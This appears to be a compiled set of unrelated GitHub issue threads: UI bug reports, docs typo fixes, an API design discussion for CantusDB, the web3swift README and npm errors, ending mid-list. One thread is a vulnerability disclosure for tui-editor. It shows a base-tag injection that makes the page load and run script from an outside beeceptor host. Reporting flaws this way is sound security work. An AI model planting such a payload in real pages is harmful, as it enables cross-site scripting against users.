[Bug]: To omany Recommendations

Contact Details
<EMAIL_ADDRESS>What happened?
What happend?
I was getting new recommendations
Expected
I was expect to have one pack of recommendations
Actual
Actually I got a 3 packs of recommendations and it is annoying me because takes too much space - so can I collapse them?
References

Version
latest (Google Chrome Browset)
What browsers are you seeing the problem on?
Chrome
Relevant log output
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Fixed in version 0.8.3


Correct a typo. Replace BOSHIP with BISHOP.

Just a typo in the old HTML file, but the old file is still useful and the typo affects AI, so it's probably better to correct it.

Thank you very much. I am sorry for replying to you so late.

Thank you very much. I am sorry for replying to you so late.


Rotating the display changes Session Finished to Break Finished

After the session finishes the alert to start the break pops up, but if I pick my phone from the table and rotate it to it's side and back, the message goes from Session Finished to Break Finished. This led to a few mishaps.

Fixed in 2.1.15.


Optimize front-end code with webpack

It's not minified right now and it's pushing 2MB. Let's get a production version as part of the deploy process. going so it's not too slow.

Done! webpack -p for the win


Tower of Hanoi using recursion in Python

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is.
The story of the Tower of Hanoi:
• 3 tall spikes
• Stack of 64 different sized discs –start on one spike
• Need to move the stack to second spike (at which point universe ends)
• Can only move one disc at a time, and a larger disc can never cover up a small disc
Describe the solution you'd like
A clear and concise description of what you want to happen.
Just think recursively!
• Solve a smaller problem
• Solve a basic problem
• Solve a smaller problem
Do you want to work on it
Mention the one language you want to be assigned for this issue.
Tower of Hanoi using recursion in Python. Recently I've been practising the Recursion and found the Tower Of Hanoi problem very interesting. So I would like to solve the problem of the Tower of Hanoi using Recursion in Python. As a participant of GSSoC'21 please assign this issue to me.
Hey @tarun26091999, I want to add this program to Algo-Tree/Code/Python/

Issue present at #828


[docs][joy] Fix typos

Fixing some typos I found in the Joy docs

[ ] I have followed (at least) the PR section of the contributing guide.

Nice, thanks for the contribution. Can you please fix the CI? You should run yarn docs:typescript:formatted and commit the changes. This will make sure that the code previews reflect the changes done in the demos.

Thanks for the review @mnajdova. I have ran the command as requested and pushed up the new commit changes

@gzrae Rhe design xxxx labels are meant for UI or UX related changes. They are looked at by the design team. This isn't applicable here.


HTML parse error

at new HTMLParser (/Volumes/WD2TB2/misc/dev/retro-proxy/node_modules/html-minifier/src/htmlparser.js:244:13)
at minify (/Volumes/WD2TB2/misc/dev/retro-proxy/node_modules/html-minifier/src/htmlminifier.js:980:3)
at exports.minify (/Volumes/WD2TB2/misc/dev/retro-proxy/node_modules/html-minifier/src/htmlminifier.js:1341:16)
at /Volumes/WD2TB2/misc/dev/retro-proxy/index.js:152:11
I occasionally get HTMLparser errors. Here is a URL with which I could consistently reproduce it:
http://oldavista.com/faq

Handled in e5c34957b0bc18c472ee8da01004f6f23770e6bb
I can't fix the underlying issue, which is some HTML that is invalid according to modern standards. However, the way the error was handled wasn't very good. I've improved that.
oldavista.com is a retro site though, and retro sites should be added to allowed.txt. I've added it to the example list in the repo.


Regex highlights everything even with no global flag

The issue is self-explanatory.  I presume this is on purpose, but the mark.js user should be able to decide whether the regex matches globally or not.  Additionally, the current way the code is configured causes problems with certain regex (as detailed in issue #79 )
Steps to Reproduce
Go to https://jsfiddle.net/julmot/ova17daa/ and enter in /l/
It matches all l's when it should just match first l
Environment
Latest version of Chrome and version 8.1.1 of jquery.mark.min.js
Proposed Fix
Psuedocode to go in wrapMatches function:
text = node.textContent  // save text because we don't want it changing each highlight
if no global flag: // highlight first match
    match = regex.exec(text)
    highlight(match)
if global flag: // highlight all matches
    while(match is not null):
        match = regex.exec(text)
        highlight(match)

Hi @Almenon,
Thanks for submitting.
This behavior is as expected. Please re-read the documentation as it says:

Note that groups will be ignored and mark.js will always find all matches, regardless of the g flag

This appears due to the fact that mark.js needs to find matches within multiple text nodes and not just within one.
As you've opened this issue as a bug report I'm going to close it.

I've forgot to mention that you could always use the filter option to limit matches.

Sorry about that, I should have re-read the documentation.  I'll try using the filter option when there's no global flag.


Security Concern : Regarding Unrestricted Access for Azure Storage Account Owner

Dear Microsoft Support Team,
I hope this message finds you well. I am writing to bring to your attention a security concern regarding unrestricted access for the Azure Storage account owner.
As a customer utilizing Azure services, we appreciate the robust security features and controls provided by the Azure platform. However, we have identified a potential security risk related to the access permissions granted to the Azure Storage account owner.
Currently, the account owner of an Azure subscription and associated Azure Storage account has unrestricted access to view, modify, and delete all data stored within the blob containers associated with their storage account. While we understand the need for administrative privileges, this level of access poses significant security implications, particularly in scenarios where sensitive or confidential data is stored within the blob containers.
Our concern stems from the following:

Data Privacy: Allowing the account owner unrestricted access raises concerns about data privacy, especially for sensitive or confidential information stored within the blob containers. This could potentially lead to unauthorized exposure of personally identifiable information (PII) or other sensitive data.
Data Breach Risk: In the event of compromised account credentials or malicious actions by the account owner, there is a heightened risk of unauthorized access to sensitive data stored within the blob containers. This could result in data breaches with serious implications for our organization and its stakeholders.
Trust and Confidentiality: Granting the account owner unrestricted access undermines trust in the security of the Azure platform. Our users and stakeholders expect their data to be protected with the highest standards of confidentiality and integrity. Allowing unrestricted access by the account owner may erode this trust and compromise the confidentiality of our data.
To address this security concern and mitigate associated risks, we kindly request that Microsoft consider implementing additional controls or mechanisms to restrict the level of access granted to the Azure Storage account owner. This could include options such as role-based access control (RBAC) enhancements, fine-grained access controls, or other security enhancements that limit the account owner's ability to view or modify sensitive data within the blob containers.
We believe that by implementing these measures, Microsoft can further enhance the security posture of the Azure platform and provide customers like us with greater confidence in the protection of our data.
We appreciate your attention to this matter and look forward to your prompt response and action to address this security concern.
Thank you for your assistance.

Sincerely,
Manjunatha P
--
Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 51543d24-fcc3-3f16-dc5a-8b08b0d9030e
Version Independent ID: 51543d24-fcc3-3f16-dc5a-8b08b0d9030e
Content: Storage Accounts and security - Microsoft Azure Well-Architected Framework
Content Source: well-architected/service-guides/storage-accounts/security.md
Service: waf
Sub-service: waf-service-guide
GitHub Login: @martinekuan
Microsoft Alias: martinek

@Manjupgit
Thanks for your feedback! I've assigned this issue to the author who will investigate and update as appropriate.


XSS via base tag hijacking

Describe the bug
Base tags are not sanitized, that can lead to XSS.
To Reproduce
I'll use the ui.toast.com/tui-editor playground to demonstrate this vulnerability.
Steps to reproduce the behavior:

Create a server that returns the XSS payload, (return alert(1) every request, make sure Access-Control-Allow-Origin is *) you can use avocad0.free.beeceptor.com while it's available (it's a free server, too many requests and it will stop serving the payload)
Go to https://ui.toast.com/tui-editor
Put a base tag in the markdown <base href=https://avocad0.free.beeceptor.com>
Scroll to the bottom of the page
Hover over the links (Weekly Picks, Release Notes, FE Guide etc)
See a request to some jsons, but also avocado.free.beeceptor.com/component---src-pages-index-tsx-a5b41d7b681d62c9ee9a.js
See the alert(1)

Expected behavior
Base tags should be sanitized.
Additional context
The base tag overwrites the base url, all relative links point to that url then. I could exploit this to real XSS because there's a script dynamically loaded from a relative link when hovering over the links at the bottom of the page. Even when there's no relative scripts after the base tag, this will hijack some links and might lead to phishing or other undesired effects.
You can setup your own beeceptor for testing like this:

This might be enough to fix it: https://github.com/wfinn/tui.editor/commit/1cec719f7e75d88bab50d595f46fe22e5fa5cc9f

This is probably enough to fix this issue, but I haven't tested it, hence no PR https://github.com/wfinn/tui.editor/commit/1cec719f7e75d88bab50d595f46fe22e5fa5cc9f

@wfinn
Thanks for reporting!

base tags are sanitized in master


quick start vm can not unzip

when unzip by 7zip
append   data error :cloudera-quickstart-vm-5.4.2-0-vmware-s010.vmdk

We're deprecating VM in favor of docker images. Please keep an eye on wherehows-docker directory.


Update Export screen title

The title of the "Export" screen needs to be updated to "Export & Report".

Acceptance Test:

The title of the screen now says: Export & Report

Verified on dev. Title for the Export screen has been updated to "Export & Report" in the official and workspace views.

FYA @lgiannini1 and @mark-hayward-erg - Not verified in test (see the screenshot below):

Verified the text has been corrected to, "Export & Report," in dev for the global and logged in view:
Global (public) view

Logged in view

Verified the text has been corrected in test environment, both global and logged view


Make potentials available from a function

Pull Request Test Coverage Report for Build<PHONE_NUMBER>7
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 66.3%

Totals

Change from base Build<PHONE_NUMBER>4:
0.2%

Covered Lines:
543

Relevant Lines:
819

💛  - Coveralls


README.md

web3swift
web3swift is an iOS toolbelt for interaction with the Ethereum network.

Core features
Installation

Example usage

Send Ether
Send ERC-20 Token
Write Transaction and call smart contract method

Web3View example
Build from source
Requirements
Migration Guides

Documentation
Projects that are using web3swift
Support
Contribute

Future steps

Credits
Security Disclosure
License

Core features

[x] :zap: Swift implementation of web3.js functionality

[x] :thought_balloon: Interaction with remote node via JSON RPC

[x] 🔐 Local keystore management (geth compatible)

[x] 🤖 Smart-contract ABI parsing

[x] 🔓ABI deconding (V2 is supported with return of structures from public functions. Part of 0.4.22 Solidity compiler)

[x] 🕸Ethereum Name Service (ENS) support - a secure & decentralised way to address resources both on and off the blockchain using simple, human-readable names

[x] :arrows_counterclockwise: Smart contracts interactions (read/write)

[x]  ⛩ Infura support, patial Websockets API support

[x] ⚒  Parsing TxPool content into native values (ethereum addresses and transactions) - easy to get pending transactions

[x] 🖇 Event loops functionality

[x] 📱Supports Web3View functionality (WKWebView with injected "web3" provider)

[x] 🕵♂ Possibility to add or remove "middleware" that intercepts, modifies and even cancel transaction workflow on stages "before assembly", "after assembly"and "before submission"

[x] ✅Literally following the standards (BIP, EIP, etc):

[x] BIP32 (HD Wallets), BIP39 (Seed phrases), BIP44 (Key generation prefixes)

[x] EIP-20 (Standart interface for tokens - ERC-20), EIP-67 (Standard URI scheme), EIP-155 (Replay attacks protection)

[x] And many others (For details about this EIP's look at Documentation page): EIP-681, EIP-721, EIP-165, EIP-777, EIP-820, EIP-888, EIP-1400, EIP-1410, EIP-1594, EIP-1643, EIP-1644, EIP-1633, EIP-721, EIP-1155, EIP-1376, ST-20

[x] 🗜 Batched requests in concurrent mode

[x] RLP encoding

[x] Base58 encoding scheme

[x] Formatting to and from Ethereum Units

[x] Comprehensive Unit and Integration Test Coverage

Installation

CocoaPods

CocoaPods is a dependency manager for Cocoa projects. You can install it with the following command:
$ sudo gem install cocoapods

To integrate web3swift into your Xcode project using CocoaPods, specify it in your Podfile:
source 'https://github.com/CocoaPods/Specs.git'
platform :ios, '9.0'

target '<Your Target Name>' do
    use_frameworks!
    pod 'web3swift'
end

Then, run the following command:
$ pod install

Carthage

Carthage is a decentralized dependency manager that builds your dependencies and provides you with binary frameworks.
You can install Carthage with Homebrew using the following command:
$ brew update
$ brew install carthage

To integrate web3swift into your Xcode project using Carthage, specify it in your Cartfile.
Create an empty Cartfile with the touch command and open it:
$ touch Cartfile
$ open -a Xcode Cartfile

Add the following line to the Cartfile and save it:
github "matter-labs/web3swift" "master"

Run carthage update to build the framework. By default, Carthage performs checkouts and creates a new directory 'Carthage' in the same location as your Cartfile. Open this directory, go to 'Build' directory, choose iOS or macOS directory, and use the selected directory framework in your Xcode project.

Swift Package
Open xcode setting and add this repo as a source

Example usage
Send Ether
let value: String = "1.0" // In Ether
let walletAddress = EthereumAddress(wallet.address)! // Your wallet address
let toAddress = EthereumAddress(toAddressString)!
let contract = web3.contract(Web3.Utils.coldWalletABI, at: toAddress, abiVersion: 2)!
let amount = Web3.Utils.parseToBigUInt(value, units: .eth)
var options = TransactionOptions.defaultOptions
options.value = amount
options.from = walletAddress
options.gasPrice = .automatic
options.gasLimit = .automatic
let tx = contract.write(
    "fallback",
    parameters: [AnyObject](),
    extraData: Data(),
    transactionOptions: options)!

Send ERC-20 Token
let web3 = Web3.InfuraMainnetWeb3()
let value: String = "1.0" // In Tokens
let walletAddress = EthereumAddress(wallet.address)! // Your wallet address
let toAddress = EthereumAddress(toAddressString)!
let erc20ContractAddress = EthereumAddress(token.address)!
let contract = web3.contract(Web3.Utils.erc20ABI, at: erc20ContractAddress, abiVersion: 2)!
let amount = Web3.Utils.parseToBigUInt(value, units: .eth)
var options = TransactionOptions.defaultOptions
options.value = amount
options.from = walletAddress
options.gasPrice = .automatic
options.gasLimit = .automatic
let method = "transfer"
let tx = contract.write(
    method,
    parameters: [toAddress, amount] as [AnyObject],
    extraData: Data(),
    transactionOptions: options)!

Get account balance
let web3 = Web3.InfuraMainnetWeb3()
let address = EthereumAddress("<Address>")!
let balance = try web3.eth.getBalance(address: address)
let balanceString = Web3.Utils.formatToEthereumUnits(balance, toUnits: .eth, decimals: 3)

Write Transaction and call smart contract method
let web3 = Web3.InfuraMainnetWeb3()
let value: String = "0.0" // Any amount of Ether you need to send
let walletAddress = EthereumAddress(wallet.address)! // Your wallet address
let contractMethod = "SOMECONTRACTMETHOD" // Contract method you want to write
let contractABI = "..." // Contract ABI
let contractAddress = EthereumAddress(contractAddressString)!
let abiVersion = 2 // Contract ABI version
let parameters: [AnyObject] = [...]() // Parameters for contract method
let extraData: Data = Data() // Extra data for contract method
let contract = web3.contract(contractABI, at: contractAddress, abiVersion: abiVersion)!
let amount = Web3.Utils.parseToBigUInt(value, units: .eth)
var options = TransactionOptions.defaultOptions
options.value = amount
options.from = walletAddress
options.gasPrice = .automatic
options.gasLimit = .automatic
let tx = contract.write(
    contractMethod,
    parameters: parameters,
    extraData: extraData,
    transactionOptions: options)!

Web3View example
You can see how to our demo project: WKWebView with injected "web3" provider:
git clone https://github.com/matter-labs/web3swift.git
cd web3swift/Example/web3swiftBrowser
pod install
open ./web3swiftBrowser.xcworkspace

Build from source

Clone repo
Instal dependencies via  ./carthage-build.sh --platform iOS (temp workaround, foe of Carthage bug. For details please look at

Requirements

iOS 9.0+ / macOS 10.11+
Xcode 10.2+
Swift 5.0+

Migration Guides

web3swift 2.0 Migration Guide

Documentation
For full documentation details and FAQ, please look at Documentation
If you need to find or understand an API, check Usage.md.
FAQ moved Documentation Page
Here are quick references for essential features:

Preffered models
Account Management (create, import, private keys managments, etc.)
Ethereum Endpoints interaction (web3, balance, tx's operations, chain state)
Websockets
ENS

Projects that are using web3swift
If you are using this library in your project, please add a link to this repo.

MyEtherWallet/MEWconnect-iOS
Peepeth iOS client
Ethereum & ERC20Tokens Wallet
Pay-iOS
GeoChain
NewHorizonLabs/TRX-Wallet
SteadyAction/EtherWalletKit
UP Wallet/loopr-ios
MyENS Wallet
LoanStar
AlphaWallet
Follow_iOS
Biomedical Data Sharing dApp - Geolocation
Alice Wallet
web3-react-native
YOUR APP CAN BE THERE (click me) :wink:

Nothing makes developers happier than seeing someone else use our work and go wild with it.
Support

If you need help, open an issue.
If you'd like to see web3swift best practices, check Projects that using web3swift.
If you found a bug, open an issue.

Contribute
Want to improve? It's awesome:
Then good news for you: We are ready to pay for your contribution via @gitcoin bot!

If you have a feature request, open an issue.

If you want to contribute, read contribution policy & submit a pull request.

If you use any of our libraries for work, see if your employers would be interested in donating. Any amount you can donate today to help us reach our goal would be much appreciated.
Matter Labs are charged with open-sourсe and do not require money for using their web3swift lib.
We want to continue to do everything we can to move the needle forward.

Support us via @gitcoin Grant program
Ether wallet address: 0x6A3738c6299f45c31697aceA647D49EdCC9C28A4

Future steps
You are more than welcome to participate! Your contribution will be paid via  @gitcoin Grant program.

[x] L2 support (such as ZkSync)

[x] Modularity with the basic Web3 subspec/SPM (the most basic functions like transaction signing and interacting with an http rpc server) and other modules with additional functionality

[x] Complete Documentation (https://web3swift.github.io/web3swift)

[x] Performance Improvements

[x] Convenient methods for namespaces

Credits

Alex Vlasov, @shamatar
Petr Korolev, @skywinder
Anton Grigorev, @baldyash

Security Disclosure
If you believe you have identified a security vulnerability with web3swift, you should report it as soon as possible via email to<EMAIL_ADDRESS>Please do not post it to a public issue tracker.
License
web3swift is available under the Apache License 2.0 license. See the LICENSE for details.

Done

Done


I Want to Create a Document of "How to Contribute in this Project" For Beginners

Assign this Issue to me I will Write the Steps for Beginners "How to Contribute in this Project"?

I would like to work in this issue under GSSOC'23 ,please assign me this issue.

Issue already Fixed in the PR #197,
Duplicate Issue Closing this issue


Rv dm d2

@GregAC as you're looking at the rv_dm d2, would you mind taking a look at the various "hw_debug_en" hardening points and let me know if you think anything is missed?
I added those a long time ago.

@GregAC as you're looking at the rv_dm d2, would you mind taking a look at the various "hw_debug_en" hardening points and let me know if you think anything is missed?
I added those a long time ago.

I just started working on RV_DM DV and fect the documentation was unclear. For instance:
https://github.com/lowRISC/opentitan/issues/10468
It is unclear whether the ROM space is read only or can be written by the processor. IMO the spec is missing critical information such as this.

@sriyerg I've added a bit of info about the memory map to the documentation.

@sriyerg I've added a bit of info about the memory map to the documentation.

Thanks @GregAC. I will soon go through the spec to come up with the testplan this week. If more fixes are needed, those can be made later. LGTM for now.


antd report that: Static function can not consume context like dynamic theme. Please use 'App' component instead.

Is there an existing issue for the same bug?

[X] I have checked the existing issues.

Branch name
main
Commit ID
f89c6c9d599c8e9f03f024691cdef61b3939859d
Other environment information
No response
Actual behavior

Expected behavior
No response
Steps to reproduce
![image](https://github.com/infiniflow/ragflow/assets/8089971/3b77d8ce-fc78-4006-8c4c-1e25f7d29fa6)

Additional information
No response

fixed!


[SDK] Update to NFT Components

CNCT-2584

add custom resolver methods
add better test coverage
add caching for the getNFT method
small fix: handling falsy values

PR-Codex overview
This PR focuses on enhancing the NFT components in the thirdweb library, introducing custom resolver methods for fetching NFT metadata, improving performance with caching, and increasing test coverage.
Detailed summary

Removed deprecated hooks.tsx changeset file.
Added custom resolver methods to NFTMedia, NFTName, and NFTDescription.
Implemented caching in getNFTInfo for performance.
Improved test coverage by extracting internal logic into testable functions.
Added tests for fetchNftName, fetchNftMedia, and fetchNftDescription with various resolver scenarios.

✨ Ask PR-Codex anything about this PR by commenting with /codex {your question}

#5655  👈 (View in Graphite)
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

CNCT-2584


Removed bmp mime from image validation rule

I love the convenience of using the image validation rule built-in to Laravel's Validator, but a couple of times recently different apps of mine have crashed because users uploaded Bitmap images and libraries like Intervention don't play nicely with bmp files. I try to display that image (user avatar) on various pages, so it makes the website unusable for many users until I fix.
I know I can use the mime rule to manually set the extensions, which I've done to fix the issue, but I wonder since bmp images aren't web-friendly, have zero compression and aren't well supported, I suggest removing them from the default image validation rule to help others.
PS. How do you even make a bmp image these days?

The tests would have to be updated i guess before merging in these changes but iøm not totally sure this is a great change it is debatable for sure.

@morloderex Updated the tests now.
I understand it's debatable, and as I said fixed with the mime rule. I'd prefer and vote for forcing bmp images with the mime rule, rather than including in the default image rule.

Needs to go Laravel 5.3.

@taylorotwell Hey. Do you want me to create a new PR for the 5.3 branch, or is this rejected?


Create API to output texts on a single folio

For ease of use in Rodan, it could be useful to have an API that outputs the texts of all the chants on a specified folio.

@martha-thomae, what form would this be most useful in? We want the text of each chant to be on its own line? We also want to include the last chant from the previous folio, which may continue on to the current folio, correct?

Thanks for raising this issue, @jacobdgm.
Regarding your questions: We want the text just as it appears on the CSV file (with whichever line break it has there). And for your second question, that is correct, we need to include the last chant from the previous folio.

So, we want something that would basically perform the steps given in https://ddmal.music.mcgill.ca/e2e-omr-documentation/tutorial/music-reconstruction.html#text-alignment

Find the source in the database.
The siglum is the most direct way to find it, but many other options (e.g., provenance, description, century, etc.) can be used to search.
Export as a CSV using the box in the upper right corner of the screen. The button “CSV export” will download the corresponding file.
Open the CSV file in a program like Microsoft Excel or LibreOffice Calc.
Locate the row or rows corresponding to the folio of the page. Often the last chant from the previous folio will continue onto this page, so it may be helpful to include that text as well. The text alignment job will discard text not found on the page.
Copy the text in the row(s) under the heading fulltext_ms to a plain text (.txt) file. This is the input for the text alignment job.

Basically, the API call would perform the first two steps, searching for the manuscript and retrieving the CSV file (as one would do when clicking on the "CSV export" link). With the CSV file, one needs to copy the right text (which includes the last chant from the previous folio and the ones in the new folio), which one does by copying all the fulltext_ms cells that are in the last row of the previous folio and in all the rows of the current folio. This last part is already performed by a Python script I wrote kind of quickly: https://github.com/DDMAL/e2e-omr-resources/blob/main/text_alignment/get_text_per_folio.py
So, essentially, we need one job that performs the API call to retrieve the CSV file from the Cantus Database for a given manuscript and that then runs the Python script to copy the text from that CSV file (considering the last row of the previous folio and all the rows of the current folio under the column fulltext_ms). This job should return a .txt file with that retrieved content.

Why not a JSON API on Cantus, and then a Rodan job that fetches from there. CSV isn't really a good format for data APIs.

I agree, (and also, .txt is not a great format for an API either - it's just currently what goes into the Text Alignment Job). The question: what exactly will be included in the JSON?
Suggested implementation: there's a single URL for the source, along the lines of cantusdatabase.org/<source id>/text-by-folio/. It returns JSON in the format {"folio": "text of all the chants in the folio, each chant on its own line", "the next folio": ...}. The Rodan job takes the full JSON object, takes only the value from the necessary folio, and uses that to build a .txt file which can be piped into Text Alignment.
Alternative implementation:
{
    "first_folio": {
        "0": "the text of the last chant on the previous folio, if it exists",
        "1": "the text of the first chant on this folio (we're 1-indexing here because that's how CantusDB stores chants' sequence numbers, but it doesn't really matter)",
        "2": "etc.",
    },
    "next_folio": {
        "etc."
    },
    "etc."
}

This way we don't need to worry about line breaks within a value (not sure whether this could cause issues). The Rodan job can "\n".join all the values within the relevant folio and package them up into the necessary .txt file.
Or would it be better to return the text of only the chants on a specific folio (which could potentially be a tad faster and lead to a little bit less demand on the CantusDB server)?

I generally advocate for designing APIs around a Resource Oriented Architecture, where you design your URLs (and thus your URIs) around "the thing" that you are talking about -- typically I think of a URL structure as the "Noun" of the interaction: It's the thing you're asking for.
So, something like cantusdatabase.org/sources/<source-id>/folios/<folio-id>/texts
I'm not sure where the text of each folio is stored in your model, so I'm not sure if this is correct.
If you wanted a single point of entry for all texts:
cantusdatabase.org/sources/<source-id>/folios/texts
I generally also find that parsing JSON is easier and less error-prone if you have fixed key names, rather than varying them. So in your example first_folio could presumably be also 1v, 2r, etc. depending on the user-entered folio number. This can lead to problems if the user enters something that doesn't work well as a key... say they enter a ' e.g,. f1r'indicating "prime". This could mess up JSON encoding if you're not careful. So have a fixed key called "folio" with values of "1v" or "first folio", etc.
The other way to do it is to encode it as an array, with each member of the array having a folio key. So:
[{"folio": "first_folio",
    "texts":
        ["the text of the last chant on the previous folio, if it exists",
        "the text of the first chant on this folio (we're 1-indexing here because that's how CantusDB stores chants' sequence numbers, but it doesn't", "really matter)",
        "etc."
        ]
    },
    {"folio": "next_folio", "texts": [...] }
]

(There's no need to do "0", "1", "2" in a JSON object, since that's just replicating the functionality of an array!)
If you really want to be good about it, you might include some extra metadata about the source, etc. in the response, so wrap this list in an object:
{"source": "MS Abc 123", "id": "https://cantusdatabase.org/sources/987654", texts: [... list ... ]}

@ahankinson, you've outlined an API I would be proud to have written!

So, something like cantusdatabase.org/sources/<source-id>/folios/<folio-id>/texts
I'm not sure where the text of each folio is stored in your model, so I'm not sure if this is correct.

So we'd just be querying all the chants in the database with a given folio and returning the texts of all matching chants. But this looks good - it would end up being cantusdatabase.org/sources/<source-id>/folios/<folio>/texts, since we don't have Folio objects with IDs in the database, only chants with a folio CharField.
The one edge case that we'd need to consider is that sometimes, if one or more pages of a manuscript were lost, the next folio will include a chant "0", which is the leftover text of a chant that started on a previous (now lost) page. In these situations, we should not attempt to prepend the text of the last chant on the previous folio. Another useful bit of metadata to include, then, could be "includes_text_from_previous_folio": [True or False].
I'm also not sure whether there are any sources where the numbering of chant skips certain numbers. But I don't think this would cause any issues - we just need to order by their sequence, i.e. their position on the page.
@timothydereuse, or someone else familiar with the Text Alignment job: sometimes, when there's a big hole/smudge in a manuscript, the CantusDB transcript will read "LACUNA" or something similar. Would the Text Alignment job have a hard time if the API returned text along these lines?
Partial text of the chant that precedes the lacu...
LACUNA
...artial text of the chant that follows the lacuna

I.e. should we make an attempt to filter texts that resemble "LACUNA"?

I am not Tim, but it seems to me including LACUNA is no weirder than including text incipits or abbreviations or various other things already ignored by text alignment, no?
What do you mean by " sources where the numbering of chant skips certain numbers"?

What do you mean by " sources where the numbering of chant skips certain numbers"?

It should be "the numbering of chant_s_..." - i.e. even though in principle it shouldn't happen, we should be ready to account for the situation where for a given folio, we have chants with gaps in their sequence numbering (e.g. there was a numbering error while chants were being imported, and successive sequences go 1, 2, 4, 5 - skipping over 3)

Ah ok Yes, that is definitely something that isn't supposed to happen, but definitely can. You can also get two chants with the same sequence number, in the same way.

You can also get two chants with the same sequence number, in the same way.

This is a good point, and certainly a thing to make sure we have a plan for. I know that currently in NewCantus, if you try to save a chant that duplicates another chant's folio and sequence, our chant create/edit pages will prevent you, but I don't think this is enforced on the database level. Thanks for this!


doc/releases/release-note-3.7: add notes for LiteX and Microchip RISC-V

This PR adds release notes for the 3.7 release for the following maintenance areas:

Microchip RISC-V Platforms
LiteX Platforms

Rebased due to conflicts.

Rebased due to conflicts.

@fkokosinski rebase needed

@fkokosinski rebase needed

@aescolar done.


Add Dockefile

Hello there,
I find useful to have a Dockerfile - it's more convenient to run this tool on a machine which doesn't have golang installed.

It looks like I've never answered this PR, and @xrstf comment somehow reminded me to do it, so I'm very sorry for the lack of answers.
I can accept this PR, but provided the commit history is squashed with a proper commit message (why is there a merge commit there?) and please fix the very valid @xrstf comments (especially the entrypoint one).
Thanks,

@masterzen hey
I've updated the PR. As for the merge commit - I had it first peer reviewed internally, that's what the merge comes from. No harm here.

@masterzen @xrstf ping

Hi @netflash,
Thanks for pinging me to merge this PR, I'm prone to forget to follow-up :)
I'm OK to merge it ASAP, but would you mind squashing all the commits in one commit ?
Thanks!

@masterzen done
better late than never :-)

@netflash thanks for your contribution!


How to add AES Drm custom header or update drm url in playlist when playing?

Clappr extends Hls.js, In hls.js, it can custom pLoader and update playlist content when playing. so In Clappr, how to add AES Drm custom header or update drm url in playlist when playing?

@mical892524 you can pass options directly to hls.js through the playback options. For example, if you want to add a custom pLoader, just do:
var player = new Clappr.Player({
  //...
  playback: {
    hlsjsConfig: {
      pLoader: ...
    }
  }
});

@towerz  Can you give me a pLoader demo?

Take a look at HLS.JS documentation.


npm issue

I don't believe this is an issue with the theme but with my own setup. Any advice going forward?
npm start

><EMAIL_ADDRESS>start /Users/charliesouthard/Sites/hugo/victor-hugo
> gulp server

[19:47:23] Requiring external module babel-register
[19:47:24] Using gulpfile ~/Sites/hugo/victor-hugo/gulpfile.babel.js
[19:47:24] Starting 'hugo'...
[19:47:24] Starting 'css'...
[19:47:25] Starting 'js'...
events.js:160
      throw er; // Unhandled 'error' event
      ^

Error: spawn hugo ENOENT
    at exports._errnoException (util.js:1022:11)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:193:32)
    at onErrorNT (internal/child_process.js:359:16)
    at _combinedTickCallback (internal/process/next_tick.js:74:11)
    at process._tickCallback (internal/process/next_tick.js:98:9)

npm ERR! Darwin 16.1.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "start"
npm ERR! node v6.9.2
npm ERR! npm  v3.10.9
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>start: `gulp server`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>start script 'gulp server'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the victor-hugo package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     gulp server
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs victor-hugo
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls victor-hugo
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /Users/charliesouthard/Sites/hugo/victor-hugo/npm-debug.log

log: https://www.dropbox.com/s/jxfjoe7na4qzjit/npm-debug.log?dl=0

Npm issue solved.

Hi -- I have the same issue running in an alpine docker image -- could you post your solution please?

For anyone else who gets this, I didn't have the hugo executable on my path -- I simply sym-linked the hugo executable to /usr/local/bin/hugo and that fixed it


Product key passed to ACF Pro does not work.

Closing until decision made on if ACP should be included. Re-open if needed.


Missing content for learn.microsoft website.

Package: azure-appconfiguration
Section link:

https://learn.microsoft.com/en-us/python/api/azure-appconfiguration/azure.appconfiguration.aio.azureappconfigurationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-appconfiguration/azure.appconfiguration.azureappconfigurationclient?view=azure-python
Notes: All classes in the model have this issue.

Reason:
Missing Parameters description.

Package: azure-appconfiguration-provider
Section link:

https://learn.microsoft.com/en-us/python/api/azure-appconfiguration-provider/azure.appconfiguration.provider.azureappconfigurationprovider?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-appconfiguration-provider/azure.appconfiguration.provider.watchkey?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Parameters description.

Package: azure-security-attestation
Section link:

https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.aio.attestationadministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.aio.attestationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.attestationadministrationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.attestationclient?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.attestationpolicytoken?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.attestationresult?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-security-attestation/azure.security.attestation.attestationtoken?view=azure-python

Picture1:

Picture2:

Reason:
Picture1 - Missing Methods description.
Picture2 - Missing Type.

Package: azure-batch
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.custom?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-batch/azure.batch.batch_auth?view=azure-python

Reason:
